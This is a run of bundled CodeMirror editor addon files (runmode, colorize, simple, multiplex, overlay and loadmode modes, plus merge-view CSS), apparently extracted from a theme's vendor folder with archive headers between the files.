CodeMirror.startState = function (mode, a1, a2) {
  return mode.startState ? mode.startState(a1, a2) : true;
};

var modes = CodeMirror.modes = {}, mimeModes = CodeMirror.mimeModes = {};
CodeMirror.defineMode = function (name, mode) {
  if (arguments.length > 2)
    mode.dependencies = Array.prototype.slice.call(arguments, 2);
  modes[name] = mode;
};
CodeMirror.defineMIME = function (mime, spec) { mimeModes[mime] = spec; };
CodeMirror.resolveMode = function(spec) {
  if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) {
    spec = mimeModes[spec];
  } else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) {
    spec = mimeModes[spec.name];
  }
  if (typeof spec == "string") return {name: spec};
  else return spec || {name: "null"};
};
CodeMirror.getMode = function (options, spec) {
  spec = CodeMirror.resolveMode(spec);
  var mfactory = modes[spec.name];
  if (!mfactory) throw new Error("Unknown mode: " + spec);
  return mfactory(options, spec);
};
CodeMirror.registerHelper = CodeMirror.registerGlobalHelper = Math.min;
CodeMirror.defineMode("null", function() {
  return {token: function(stream) {stream.skipToEnd();}};
});
CodeMirror.defineMIME("text/plain", "null");

CodeMirror.runMode = function (string, modespec, callback, options) {
  var mode = CodeMirror.getMode({ indentUnit: 2 }, modespec);

  if (callback.nodeType == 1) {
    var tabSize = (options && options.tabSize) || 4;
    var node = callback, col = 0;
    node.innerHTML = "";
    callback = function (text, style) {
      if (text == "\n") {
        node.appendChild(document.createElement("br"));
        col = 0;
        return;
      }
      var content = "";
      // replace tabs
      for (var pos = 0; ;) {
        var idx = text.indexOf("\t", pos);
        if (idx == -1) {
          content += text.slice(pos);
          col += text.length - pos;
          break;
        } else {
          col += idx - pos;
          content += text.slice(pos, idx);
          var size = tabSize - col % tabSize;
          col += size;
          for (var i = 0; i < size; ++i) content += " ";
          pos = idx + 1;
        }
      }

      if (style) {
        var sp = node.appendChild(document.createElement("span"));
        sp.className = "cm-" + style.replace(/ +/g, " cm-");
        sp.appendChild(document.createTextNode(content));
      } else {
        node.appendChild(document.createTextNode(content));
      }
    };
  }

  var lines = splitLines(string), state = (options && options.state) || CodeMirror.startState(mode);
  for (var i = 0, e = lines.length; i < e; ++i) {
    if (i) callback("\n");
    var stream = new CodeMirror.StringStream(lines[i]);
    if (!stream.string && mode.blankLine) mode.blankLine(state);
    while (!stream.eol()) {
      var style = mode.token(stream, state);
      callback(stream.current(), style, i, stream.start, state);
      stream.start = stream.pos;
    }
  }
};
})();
PK     N\7}	  	  M  inc/customizer/framework/assets/js/vendor/codemirror/addon/runmode/runmode.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.runMode = function(string, modespec, callback, options) {
  var mode = CodeMirror.getMode(CodeMirror.defaults, modespec);
  var ie = /MSIE \d/.test(navigator.userAgent);
  var ie_lt9 = ie && (document.documentMode == null || document.documentMode < 9);

  if (callback.nodeType == 1) {
    var tabSize = (options && options.tabSize) || CodeMirror.defaults.tabSize;
    var node = callback, col = 0;
    node.innerHTML = "";
    callback = function(text, style) {
      if (text == "\n") {
        // Emitting LF or CRLF on IE8 or earlier results in an incorrect display.
        // Emitting a carriage return makes everything ok.
        node.appendChild(document.createTextNode(ie_lt9 ? '\r' : text));
        col = 0;
        return;
      }
      var content = "";
      // replace tabs
      for (var pos = 0;;) {
        var idx = text.indexOf("\t", pos);
        if (idx == -1) {
          content += text.slice(pos);
          col += text.length - pos;
          break;
        } else {
          col += idx - pos;
          content += text.slice(pos, idx);
          var size = tabSize - col % tabSize;
          col += size;
          for (var i = 0; i < size; ++i) content += " ";
          pos = idx + 1;
        }
      }

      if (style) {
        var sp = node.appendChild(document.createElement("span"));
        sp.className = "cm-" + style.replace(/ +/g, " cm-");
        sp.appendChild(document.createTextNode(content));
      } else {
        node.appendChild(document.createTextNode(content));
      }
    };
  }

  var lines = CodeMirror.splitLines(string), state = (options && options.state) || CodeMirror.startState(mode);
  for (var i = 0, e = lines.length; i < e; ++i) {
    if (i) callback("\n");
    var stream = new CodeMirror.StringStream(lines[i]);
    if (!stream.string && mode.blankLine) mode.blankLine(state);
    while (!stream.eol()) {
      var style = mode.token(stream, state);
      callback(stream.current(), style, i, stream.start, state);
      stream.start = stream.pos;
    }
  }
};

});
PK     N\V@Y    R  inc/customizer/framework/assets/js/vendor/codemirror/addon/runmode/runmode.node.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/* Just enough of CodeMirror to run runMode under node.js */

function splitLines(string){return string.split(/\r\n?|\n/);};

// Counts the column offset in a string, taking tabs into account.
// Used mostly to find indentation.
var countColumn = function(string, end, tabSize, startIndex, startValue) {
  if (end == null) {
    end = string.search(/[^\s\u00a0]/);
    if (end == -1) end = string.length;
  }
  for (var i = startIndex || 0, n = startValue || 0;;) {
    var nextTab = string.indexOf("\t", i);
    if (nextTab < 0 || nextTab >= end)
      return n + (end - i);
    n += nextTab - i;
    n += tabSize - (n % tabSize);
    i = nextTab + 1;
  }
};

function StringStream(string, tabSize) {
  this.pos = this.start = 0;
  this.string = string;
  this.tabSize = tabSize || 8;
  this.lastColumnPos = this.lastColumnValue = 0;
  this.lineStart = 0;
};

StringStream.prototype = {
  eol: function() {return this.pos >= this.string.length;},
  sol: function() {return this.pos == this.lineStart;},
  peek: function() {return this.string.charAt(this.pos) || undefined;},
  next: function() {
    if (this.pos < this.string.length)
      return this.string.charAt(this.pos++);
  },
  eat: function(match) {
    var ch = this.string.charAt(this.pos);
    if (typeof match == "string") var ok = ch == match;
    else var ok = ch && (match.test ? match.test(ch) : match(ch));
    if (ok) {++this.pos; return ch;}
  },
  eatWhile: function(match) {
    var start = this.pos;
    while (this.eat(match)){}
    return this.pos > start;
  },
  eatSpace: function() {
    var start = this.pos;
    while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos;
    return this.pos > start;
  },
  skipToEnd: function() {this.pos = this.string.length;},
  skipTo: function(ch) {
    var found = this.string.indexOf(ch, this.pos);
    if (found > -1) {this.pos = found; return true;}
  },
  backUp: function(n) {this.pos -= n;},
  column: function() {
    if (this.lastColumnPos < this.start) {
      this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue);
      this.lastColumnPos = this.start;
    }
    return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
  },
  indentation: function() {
    return countColumn(this.string, null, this.tabSize) -
      (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
  },
  match: function(pattern, consume, caseInsensitive) {
    if (typeof pattern == "string") {
      var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;};
      var substr = this.string.substr(this.pos, pattern.length);
      if (cased(substr) == cased(pattern)) {
        if (consume !== false) this.pos += pattern.length;
        return true;
      }
    } else {
      var match = this.string.slice(this.pos).match(pattern);
      if (match && match.index > 0) return null;
      if (match && consume !== false) this.pos += match[0].length;
      return match;
    }
  },
  current: function(){return this.string.slice(this.start, this.pos);},
  hideFirstChars: function(n, inner) {
    this.lineStart += n;
    try { return inner(); }
    finally { this.lineStart -= n; }
  }
};
exports.StringStream = StringStream;

exports.startState = function(mode, a1, a2) {
  return mode.startState ? mode.startState(a1, a2) : true;
};

var modes = exports.modes = {}, mimeModes = exports.mimeModes = {};
exports.defineMode = function(name, mode) {
  if (arguments.length > 2)
    mode.dependencies = Array.prototype.slice.call(arguments, 2);
  modes[name] = mode;
};
exports.defineMIME = function(mime, spec) { mimeModes[mime] = spec; };

exports.defineMode("null", function() {
  return {token: function(stream) {stream.skipToEnd();}};
});
exports.defineMIME("text/plain", "null");

exports.resolveMode = function(spec) {
  if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) {
    spec = mimeModes[spec];
  } else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) {
    spec = mimeModes[spec.name];
  }
  if (typeof spec == "string") return {name: spec};
  else return spec || {name: "null"};
};

function copyObj(obj, target, overwrite) {
  if (!target) target = {};
  for (var prop in obj)
    if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop)))
      target[prop] = obj[prop];
  return target;
}

// This can be used to attach properties to mode objects from
// outside the actual mode definition.
var modeExtensions = exports.modeExtensions = {};
exports.extendMode = function(mode, properties) {
  var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {});
  copyObj(properties, exts);
};

exports.getMode = function(options, spec) {
  var spec = exports.resolveMode(spec);
  var mfactory = modes[spec.name];
  if (!mfactory) return exports.getMode(options, "text/plain");
  var modeObj = mfactory(options, spec);
  if (modeExtensions.hasOwnProperty(spec.name)) {
    var exts = modeExtensions[spec.name];
    for (var prop in exts) {
      if (!exts.hasOwnProperty(prop)) continue;
      if (modeObj.hasOwnProperty(prop)) modeObj["_" + prop] = modeObj[prop];
      modeObj[prop] = exts[prop];
    }
  }
  modeObj.name = spec.name;
  if (spec.helperType) modeObj.helperType = spec.helperType;
  if (spec.modeProps) for (var prop in spec.modeProps)
    modeObj[prop] = spec.modeProps[prop];

  return modeObj;
};
exports.registerHelper = exports.registerGlobalHelper = Math.min;

exports.runMode = function(string, modespec, callback, options) {
  var mode = exports.getMode({indentUnit: 2}, modespec);
  var lines = splitLines(string), state = (options && options.state) || exports.startState(mode);
  for (var i = 0, e = lines.length; i < e; ++i) {
    if (i) callback("\n");
    var stream = new exports.StringStream(lines[i]);
    if (!stream.string && mode.blankLine) mode.blankLine(state);
    while (!stream.eol()) {
      var style = mode.token(stream, state);
      callback(stream.current(), style, i, stream.start, state);
      stream.start = stream.pos;
    }
  }
};

require.cache[require.resolve("../../lib/codemirror")] = require.cache[require.resolve("./runmode.node")];
require.cache[require.resolve("../../addon/runmode/runmode")] = require.cache[require.resolve("./runmode.node")];
PK     N\i    N  inc/customizer/framework/assets/js/vendor/codemirror/addon/runmode/colorize.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./runmode"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./runmode"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var isBlock = /^(p|li|div|h\\d|pre|blockquote|td)$/;

  function textContent(node, out) {
    if (node.nodeType == 3) return out.push(node.nodeValue);
    for (var ch = node.firstChild; ch; ch = ch.nextSibling) {
      textContent(ch, out);
      if (isBlock.test(node.nodeType)) out.push("\n");
    }
  }

  CodeMirror.colorize = function(collection, defaultMode) {
    if (!collection) collection = document.body.getElementsByTagName("pre");

    for (var i = 0; i < collection.length; ++i) {
      var node = collection[i];
      var mode = node.getAttribute("data-lang") || defaultMode;
      if (!mode) continue;

      var text = [];
      textContent(node, text);
      node.innerHTML = "";
      CodeMirror.runMode(text.join(""), mode, node);

      node.className += " cm-s-default";
    }
  };
});
PK     N\E     I  inc/customizer/framework/assets/js/vendor/codemirror/addon/mode/simple.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineSimpleMode = function(name, states) {
    CodeMirror.defineMode(name, function(config) {
      return CodeMirror.simpleMode(config, states);
    });
  };

  CodeMirror.simpleMode = function(config, states) {
    ensureState(states, "start");
    var states_ = {}, meta = states.meta || {}, hasIndentation = false;
    for (var state in states) if (state != meta && states.hasOwnProperty(state)) {
      var list = states_[state] = [], orig = states[state];
      for (var i = 0; i < orig.length; i++) {
        var data = orig[i];
        list.push(new Rule(data, states));
        if (data.indent || data.dedent) hasIndentation = true;
      }
    }
    var mode = {
      startState: function() {
        return {state: "start", pending: null,
                local: null, localState: null,
                indent: hasIndentation ? [] : null};
      },
      copyState: function(state) {
        var s = {state: state.state, pending: state.pending,
                 local: state.local, localState: null,
                 indent: state.indent && state.indent.slice(0)};
        if (state.localState)
          s.localState = CodeMirror.copyState(state.local.mode, state.localState);
        if (state.stack)
          s.stack = state.stack.slice(0);
        for (var pers = state.persistentStates; pers; pers = pers.next)
          s.persistentStates = {mode: pers.mode,
                                spec: pers.spec,
                                state: pers.state == state.localState ? s.localState : CodeMirror.copyState(pers.mode, pers.state),
                                next: s.persistentStates};
        return s;
      },
      token: tokenFunction(states_, config),
      innerMode: function(state) { return state.local && {mode: state.local.mode, state: state.localState}; },
      indent: indentFunction(states_, meta)
    };
    if (meta) for (var prop in meta) if (meta.hasOwnProperty(prop))
      mode[prop] = meta[prop];
    return mode;
  };

  function ensureState(states, name) {
    if (!states.hasOwnProperty(name))
      throw new Error("Undefined state " + name + "in simple mode");
  }

  function toRegex(val, caret) {
    if (!val) return /(?:)/;
    var flags = "";
    if (val instanceof RegExp) {
      if (val.ignoreCase) flags = "i";
      val = val.source;
    } else {
      val = String(val);
    }
    return new RegExp((caret === false ? "" : "^") + "(?:" + val + ")", flags);
  }

  function asToken(val) {
    if (!val) return null;
    if (typeof val == "string") return val.replace(/\./g, " ");
    var result = [];
    for (var i = 0; i < val.length; i++)
      result.push(val[i] && val[i].replace(/\./g, " "));
    return result;
  }

  function Rule(data, states) {
    if (data.next || data.push) ensureState(states, data.next || data.push);
    this.regex = toRegex(data.regex);
    this.token = asToken(data.token);
    this.data = data;
  }

  function tokenFunction(states, config) {
    return function(stream, state) {
      if (state.pending) {
        var pend = state.pending.shift();
        if (state.pending.length == 0) state.pending = null;
        stream.pos += pend.text.length;
        return pend.token;
      }

      if (state.local) {
        if (state.local.end && stream.match(state.local.end)) {
          var tok = state.local.endToken || null;
          state.local = state.localState = null;
          return tok;
        } else {
          var tok = state.local.mode.token(stream, state.localState), m;
          if (state.local.endScan && (m = state.local.endScan.exec(stream.current())))
            stream.pos = stream.start + m.index;
          return tok;
        }
      }

      var curState = states[state.state];
      for (var i = 0; i < curState.length; i++) {
        var rule = curState[i];
        var matches = (!rule.data.sol || stream.sol()) && stream.match(rule.regex);
        if (matches) {
          if (rule.data.next) {
            state.state = rule.data.next;
          } else if (rule.data.push) {
            (state.stack || (state.stack = [])).push(state.state);
            state.state = rule.data.push;
          } else if (rule.data.pop && state.stack && state.stack.length) {
            state.state = state.stack.pop();
          }

          if (rule.data.mode)
            enterLocalMode(config, state, rule.data.mode, rule.token);
          if (rule.data.indent)
            state.indent.push(stream.indentation() + config.indentUnit);
          if (rule.data.dedent)
            state.indent.pop();
          if (matches.length > 2) {
            state.pending = [];
            for (var j = 2; j < matches.length; j++)
              if (matches[j])
                state.pending.push({text: matches[j], token: rule.token[j - 1]});
            stream.backUp(matches[0].length - (matches[1] ? matches[1].length : 0));
            return rule.token[0];
          } else if (rule.token && rule.token.join) {
            return rule.token[0];
          } else {
            return rule.token;
          }
        }
      }
      stream.next();
      return null;
    };
  }

  function cmp(a, b) {
    if (a === b) return true;
    if (!a || typeof a != "object" || !b || typeof b != "object") return false;
    var props = 0;
    for (var prop in a) if (a.hasOwnProperty(prop)) {
      if (!b.hasOwnProperty(prop) || !cmp(a[prop], b[prop])) return false;
      props++;
    }
    for (var prop in b) if (b.hasOwnProperty(prop)) props--;
    return props == 0;
  }

  function enterLocalMode(config, state, spec, token) {
    var pers;
    if (spec.persistent) for (var p = state.persistentStates; p && !pers; p = p.next)
      if (spec.spec ? cmp(spec.spec, p.spec) : spec.mode == p.mode) pers = p;
    var mode = pers ? pers.mode : spec.mode || CodeMirror.getMode(config, spec.spec);
    var lState = pers ? pers.state : CodeMirror.startState(mode);
    if (spec.persistent && !pers)
      state.persistentStates = {mode: mode, spec: spec.spec, state: lState, next: state.persistentStates};

    state.localState = lState;
    state.local = {mode: mode,
                   end: spec.end && toRegex(spec.end),
                   endScan: spec.end && spec.forceEnd !== false && toRegex(spec.end, false),
                   endToken: token && token.join ? token[token.length - 1] : token};
  }

  function indexOf(val, arr) {
    for (var i = 0; i < arr.length; i++) if (arr[i] === val) return true;
  }

  function indentFunction(states, meta) {
    return function(state, textAfter, line) {
      if (state.local && state.local.mode.indent)
        return state.local.mode.indent(state.localState, textAfter, line);
      if (state.indent == null || state.local || meta.dontIndentStates && indexOf(state.state, meta.dontIndentStates) > -1)
        return CodeMirror.Pass;

      var pos = state.indent.length - 1, rules = states[state.state];
      scan: for (;;) {
        for (var i = 0; i < rules.length; i++) {
          var rule = rules[i];
          if (rule.data.dedent && rule.data.dedentIfLineStart !== false) {
            var m = rule.regex.exec(textAfter);
            if (m && m[0]) {
              pos--;
              if (rule.next || rule.push) rules = states[rule.next || rule.push];
              textAfter = textAfter.slice(m[0].length);
              continue scan;
            }
          }
        }
        break;
      }
      return pos < 0 ? 0 : state.indent[pos];
    };
  }
});
PK     N\}A  A  Q  inc/customizer/framework/assets/js/vendor/codemirror/addon/mode/multiplex_test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  CodeMirror.defineMode("markdown_with_stex", function(){
    var inner = CodeMirror.getMode({}, "stex");
    var outer = CodeMirror.getMode({}, "markdown");

    var innerOptions = {
      open: '$',
      close: '$',
      mode: inner,
      delimStyle: 'delim',
      innerStyle: 'inner'
    };

    return CodeMirror.multiplexingMode(outer, innerOptions);
  });

  var mode = CodeMirror.getMode({}, "markdown_with_stex");

  function MT(name) {
    test.mode(
      name,
      mode,
      Array.prototype.slice.call(arguments, 1),
      'multiplexing');
  }

  MT(
    "stexInsideMarkdown",
    "[strong **Equation:**] [delim&delim-open $][inner&tag \\pi][delim&delim-close $]");
})();
PK     N\[_    K  inc/customizer/framework/assets/js/vendor/codemirror/addon/mode/loadmode.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), "cjs");
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], function(CM) { mod(CM, "amd"); });
  else // Plain browser env
    mod(CodeMirror, "plain");
})(function(CodeMirror, env) {
  if (!CodeMirror.modeURL) CodeMirror.modeURL = "../mode/%N/%N.js";

  var loading = {};
  function splitCallback(cont, n) {
    var countDown = n;
    return function() { if (--countDown == 0) cont(); };
  }
  function ensureDeps(mode, cont) {
    var deps = CodeMirror.modes[mode].dependencies;
    if (!deps) return cont();
    var missing = [];
    for (var i = 0; i < deps.length; ++i) {
      if (!CodeMirror.modes.hasOwnProperty(deps[i]))
        missing.push(deps[i]);
    }
    if (!missing.length) return cont();
    var split = splitCallback(cont, missing.length);
    for (var i = 0; i < missing.length; ++i)
      CodeMirror.requireMode(missing[i], split);
  }

  CodeMirror.requireMode = function(mode, cont) {
    if (typeof mode != "string") mode = mode.name;
    if (CodeMirror.modes.hasOwnProperty(mode)) return ensureDeps(mode, cont);
    if (loading.hasOwnProperty(mode)) return loading[mode].push(cont);

    var file = CodeMirror.modeURL.replace(/%N/g, mode);
    if (env == "plain") {
      var script = document.createElement("script");
      script.src = file;
      var others = document.getElementsByTagName("script")[0];
      var list = loading[mode] = [cont];
      CodeMirror.on(script, "load", function() {
        ensureDeps(mode, function() {
          for (var i = 0; i < list.length; ++i) list[i]();
        });
      });
      others.parentNode.insertBefore(script, others);
    } else if (env == "cjs") {
      require(file);
      cont();
    } else if (env == "amd") {
      requirejs([file], cont);
    }
  };

  CodeMirror.autoLoadMode = function(instance, mode) {
    if (!CodeMirror.modes.hasOwnProperty(mode))
      CodeMirror.requireMode(mode, function() {
        instance.setOption("mode", instance.getOption("mode"));
      });
  };
});
PK     N\s    L  inc/customizer/framework/assets/js/vendor/codemirror/addon/mode/multiplex.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.multiplexingMode = function(outer /*, others */) {
  // Others should be {open, close, mode [, delimStyle] [, innerStyle]} objects
  var others = Array.prototype.slice.call(arguments, 1);

  function indexOf(string, pattern, from, returnEnd) {
    if (typeof pattern == "string") {
      var found = string.indexOf(pattern, from);
      return returnEnd && found > -1 ? found + pattern.length : found;
    }
    var m = pattern.exec(from ? string.slice(from) : string);
    return m ? m.index + from + (returnEnd ? m[0].length : 0) : -1;
  }

  return {
    startState: function() {
      return {
        outer: CodeMirror.startState(outer),
        innerActive: null,
        inner: null
      };
    },

    copyState: function(state) {
      return {
        outer: CodeMirror.copyState(outer, state.outer),
        innerActive: state.innerActive,
        inner: state.innerActive && CodeMirror.copyState(state.innerActive.mode, state.inner)
      };
    },

    token: function(stream, state) {
      if (!state.innerActive) {
        var cutOff = Infinity, oldContent = stream.string;
        for (var i = 0; i < others.length; ++i) {
          var other = others[i];
          var found = indexOf(oldContent, other.open, stream.pos);
          if (found == stream.pos) {
            if (!other.parseDelimiters) stream.match(other.open);
            state.innerActive = other;
            state.inner = CodeMirror.startState(other.mode, outer.indent ? outer.indent(state.outer, "") : 0);
            return other.delimStyle && (other.delimStyle + " " + other.delimStyle + "-open");
          } else if (found != -1 && found < cutOff) {
            cutOff = found;
          }
        }
        if (cutOff != Infinity) stream.string = oldContent.slice(0, cutOff);
        var outerToken = outer.token(stream, state.outer);
        if (cutOff != Infinity) stream.string = oldContent;
        return outerToken;
      } else {
        var curInner = state.innerActive, oldContent = stream.string;
        if (!curInner.close && stream.sol()) {
          state.innerActive = state.inner = null;
          return this.token(stream, state);
        }
        var found = curInner.close ? indexOf(oldContent, curInner.close, stream.pos, curInner.parseDelimiters) : -1;
        if (found == stream.pos && !curInner.parseDelimiters) {
          stream.match(curInner.close);
          state.innerActive = state.inner = null;
          return curInner.delimStyle && (curInner.delimStyle + " " + curInner.delimStyle + "-close");
        }
        if (found > -1) stream.string = oldContent.slice(0, found);
        var innerToken = curInner.mode.token(stream, state.inner);
        if (found > -1) stream.string = oldContent;

        if (found == stream.pos && curInner.parseDelimiters)
          state.innerActive = state.inner = null;

        if (curInner.innerStyle) {
          if (innerToken) innerToken = innerToken + " " + curInner.innerStyle;
          else innerToken = curInner.innerStyle;
        }

        return innerToken;
      }
    },

    indent: function(state, textAfter) {
      var mode = state.innerActive ? state.innerActive.mode : outer;
      if (!mode.indent) return CodeMirror.Pass;
      return mode.indent(state.innerActive ? state.inner : state.outer, textAfter);
    },

    blankLine: function(state) {
      var mode = state.innerActive ? state.innerActive.mode : outer;
      if (mode.blankLine) {
        mode.blankLine(state.innerActive ? state.inner : state.outer);
      }
      if (!state.innerActive) {
        for (var i = 0; i < others.length; ++i) {
          var other = others[i];
          if (other.open === "\n") {
            state.innerActive = other;
            state.inner = CodeMirror.startState(other.mode, mode.indent ? mode.indent(state.outer, "") : 0);
          }
        }
      } else if (state.innerActive.close === "\n") {
        state.innerActive = state.inner = null;
      }
    },

    electricChars: outer.electricChars,

    innerMode: function(state) {
      return state.inner ? {state: state.inner, mode: state.innerActive.mode} : {state: state.outer, mode: outer};
    }
  };
};

});
PK     N\Uӹ    J  inc/customizer/framework/assets/js/vendor/codemirror/addon/mode/overlay.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Utility function that allows modes to be combined. The mode given
// as the base argument takes care of most of the normal mode
// functionality, but a second (typically simple) mode is used, which
// can override the style of text. Both modes get to parse all of the
// text, but when both assign a non-null style to a piece of code, the
// overlay wins, unless the combine argument was true and not overridden,
// or state.overlay.combineTokens was true, in which case the styles are
// combined.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.overlayMode = function(base, overlay, combine) {
  return {
    startState: function() {
      return {
        base: CodeMirror.startState(base),
        overlay: CodeMirror.startState(overlay),
        basePos: 0, baseCur: null,
        overlayPos: 0, overlayCur: null,
        streamSeen: null
      };
    },
    copyState: function(state) {
      return {
        base: CodeMirror.copyState(base, state.base),
        overlay: CodeMirror.copyState(overlay, state.overlay),
        basePos: state.basePos, baseCur: null,
        overlayPos: state.overlayPos, overlayCur: null
      };
    },

    token: function(stream, state) {
      if (stream != state.streamSeen ||
          Math.min(state.basePos, state.overlayPos) < stream.start) {
        state.streamSeen = stream;
        state.basePos = state.overlayPos = stream.start;
      }

      if (stream.start == state.basePos) {
        state.baseCur = base.token(stream, state.base);
        state.basePos = stream.pos;
      }
      if (stream.start == state.overlayPos) {
        stream.pos = stream.start;
        state.overlayCur = overlay.token(stream, state.overlay);
        state.overlayPos = stream.pos;
      }
      stream.pos = Math.min(state.basePos, state.overlayPos);

      // state.overlay.combineTokens always takes precedence over combine,
      // unless set to null
      if (state.overlayCur == null) return state.baseCur;
      else if (state.baseCur != null &&
               state.overlay.combineTokens ||
               combine && state.overlay.combineTokens == null)
        return state.baseCur + " " + state.overlayCur;
      else return state.overlayCur;
    },

    indent: base.indent && function(state, textAfter) {
      return base.indent(state.base, textAfter);
    },
    electricChars: base.electricChars,

    innerMode: function(state) { return {state: state.base, mode: base}; },

    blankLine: function(state) {
      if (base.blankLine) base.blankLine(state.base);
      if (overlay.blankLine) overlay.blankLine(state.overlay);
    }
  };
};

});
PK     N\e؁V    J  inc/customizer/framework/assets/js/vendor/codemirror/addon/merge/merge.cssnu [        .CodeMirror-merge {
  position: relative;
  border: 1px solid #ddd;
  white-space: pre;
}

.CodeMirror-merge, .CodeMirror-merge .CodeMirror {
  height: 350px;
}

.CodeMirror-merge-2pane .CodeMirror-merge-pane { width: 47%; }
.CodeMirror-merge-2pane .CodeMirror-merge-gap { width: 6%; }
.CodeMirror-merge-3pane .CodeMirror-merge-pane { width: 31%; }
.CodeMirror-merge-3pane .CodeMirror-merge-gap { width: 3.5%; }

.CodeMirror-merge-pane {
  display: inline-block;
  white-space: normal;
  vertical-align: top;
}
.CodeMirror-merge-pane-rightmost {
  position: absolute;
  right: 0px;
  z-index: 1;
}

.CodeMirror-merge-gap {
  z-index: 2;
  display: inline-block;
  height: 100%;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  overflow: hidden;
  border-left: 1px solid #ddd;
  border-right: 1px solid #ddd;
  position: relative;
  background: #f8f8f8;
}

.CodeMirror-merge-scrolllock-wrap {
  position: absolute;
  bottom: 0; left: 50%;
}
.CodeMirror-merge-scrolllock {
  position: relative;
  left: -50%;
  cursor: pointer;
  color: #555;
  line-height: 1;
}

.CodeMirror-merge-copybuttons-left, .CodeMirror-merge-copybuttons-right {
  position: absolute;
  left: 0; top: 0;
  right: 0; bottom: 0;
  line-height: 1;
}

.CodeMirror-merge-copy {
  position: absolute;
  cursor: pointer;
  color: #44c;
}

.CodeMirror-merge-copy-reverse {
  position: absolute;
  cursor: pointer;
  color: #44c;
}

.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy { left: 2px; }
.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy { right: 2px; }

.CodeMirror-merge-r-inserted, .CodeMirror-merge-l-inserted {
  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);
  background-position: bottom left;
  background-repeat: repeat-x;
}

.CodeMirror-merge-r-deleted, .CodeMirror-merge-l-deleted {
  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);
  background-position: bottom left;
  background-repeat: repeat-x;
}

.CodeMirror-merge-r-chunk { background: #ffffe0; }
.CodeMirror-merge-r-chunk-start { border-top: 1px solid #ee8; }
.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #ee8; }
.CodeMirror-merge-r-connect { fill: #ffffe0; stroke: #ee8; stroke-width: 1px; }

.CodeMirror-merge-l-chunk { background: #eef; }
.CodeMirror-merge-l-chunk-start { border-top: 1px solid #88e; }
.CodeMirror-merge-l-chunk-end { border-bottom: 1px solid #88e; }
.CodeMirror-merge-l-connect { fill: #eef; stroke: #88e; stroke-width: 1px; }

.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk { background: #dfd; }
.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start { border-top: 1px solid #4e4; }
.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #4e4; }

.CodeMirror-merge-collapsed-widget:before {
  content: "(...)";
}
.CodeMirror-merge-collapsed-widget {
  cursor: pointer;
  color: #88b;
  background: #eef;
  border: 1px solid #ddf;
  font-size: 90%;
  padding: 0 3px;
  border-radius: 4px;
}
